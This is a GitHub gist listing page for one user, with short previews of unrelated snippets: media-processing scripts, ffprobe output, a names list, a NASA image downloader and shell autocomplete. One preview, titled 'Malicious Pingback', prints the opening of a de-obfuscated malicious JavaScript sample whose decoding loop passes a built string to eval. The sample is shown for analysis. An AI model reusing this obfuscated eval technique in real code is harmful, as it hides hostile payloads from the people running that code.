Skip to content

Instantly share code, notes, and snippets.

Avatar

Mike Boers mikeboers

View GitHub Profile
@mikeboers
mikeboers / go.py
Last active Nov 6, 2018
Threading solution for PyAV #448
View go.py
import glob
import threading
from queue import Queue
import av
packet_queue = Queue(1)
def read_target():
View gist:22bb3980ba6c1f53839562c342c46953
$ ffprobe -f avfoundation -list_devices true ''
<snip>
[AVFoundation input device @ 0x7f809940d4c0] AVFoundation video devices:
[AVFoundation input device @ 0x7f809940d4c0] [0] FaceTime HD Camera
[AVFoundation input device @ 0x7f809940d4c0] [1] Capture screen 0
[AVFoundation input device @ 0x7f809940d4c0] AVFoundation audio devices:
[AVFoundation input device @ 0x7f809940d4c0] [0] Built-in Microphone
: Input/output error
$ ffprobe -f avfoundation 0:0
View gender-neutral-names.txt
# http://names.mooseroots.com/stories/5165/most-popular-gender-neutral-names
Avery
Riley
Peyton
Logan
Taylor
Ryan
Jordan
Cameron
@mikeboers
mikeboers / epic.py
Created Jul 22, 2016
Downloader for NASA's DSCOVR EPIC images
View epic.py
import argparse
import datetime
import json
import os
import re
import requests
parser = argparse.ArgumentParser()
@mikeboers
mikeboers / keybase.md
Last active Aug 29, 2015
Keybase proof
View keybase.md

Keybase proof

I hereby claim:

  • I am mikeboers on github.
  • I am mikeboers (https://keybase.io/mikeboers) on keybase.
  • I have a public key whose fingerprint is 9F79 893F 1D13 9C88 86F3 66AD AF8A 1CD7 EAD0 90C4

To claim this, I am signing this object:

@mikeboers
mikeboers / de-obfuscated.js
Last active Aug 29, 2015
Malicious Pingback
View de-obfuscated.js
var qi = "",
ri = "",
ui, si = new Array(),
ti;
function oi(pi) {
for (ui = 0; ui < ti.length; ui++) si[ui] = ti.charCodeAt(ui);
ui = "ui=49;do{if(ui<2)break;si[ui]=(((-((si[ui]-51)&0xff))&0xff)+si[50])&0xff;ui--;}while(true);";
eval(ui);
ui = 48;
@mikeboers
mikeboers / gist:678cd3bf00046eecc457
Created Nov 20, 2014
Password attempts to SSH server
View gist:678cd3bf00046eecc457
This is lifted from http://w8rbt.org/patches/results.txt
which is not up at time of tweeting.
// Average brute-force attempts per year
6,803,663
// Average brute-force attempts per day
18,640
// Top ten complex frequent passwords
@mikeboers
mikeboers / stdout.txt
Created Aug 23, 2014
Testing Shotgun threading
View stdout.txt
$ python threaded_dump.py
..
2 in 1.157s (578.617ms each)
...............
17 in 3.286s (193.311ms each)
................
33 in 4.767s (144.452ms each)
@mikeboers
mikeboers / puzzle.txt
Last active Feb 9, 2016
Solving a wordsearch by mining Wikipedia.
View puzzle.txt
LAHLERIRAHLEDDIKWKT
CNANOCIESRRAUNAFAOG
WKRGGVREGAASNSESLRB
TETEUAEGNLWOGNTKDET
IUHLUHTCITDSERIAAAA
RECKSUPERHEROEWSRRC
EATCTVNCEANRNETGTKK
NBAOAENNHRFAPMAKHEY
IKGPREDATORTARRLVRR
LSYSKCRVFHNSYYIAATU
@mikeboers
mikeboers / .bashrc
Last active Dec 31, 2015
Autocomplete of Python package/module names
View .bashrc
function pym {
python -m $@
}
function _pym_complete {
local executable current previous options
executable=${COMP_WORDS[0]}
current="${COMP_WORDS[COMP_CWORD]}"
previous="${COMP_WORDS[COMP_CWORD-1]}"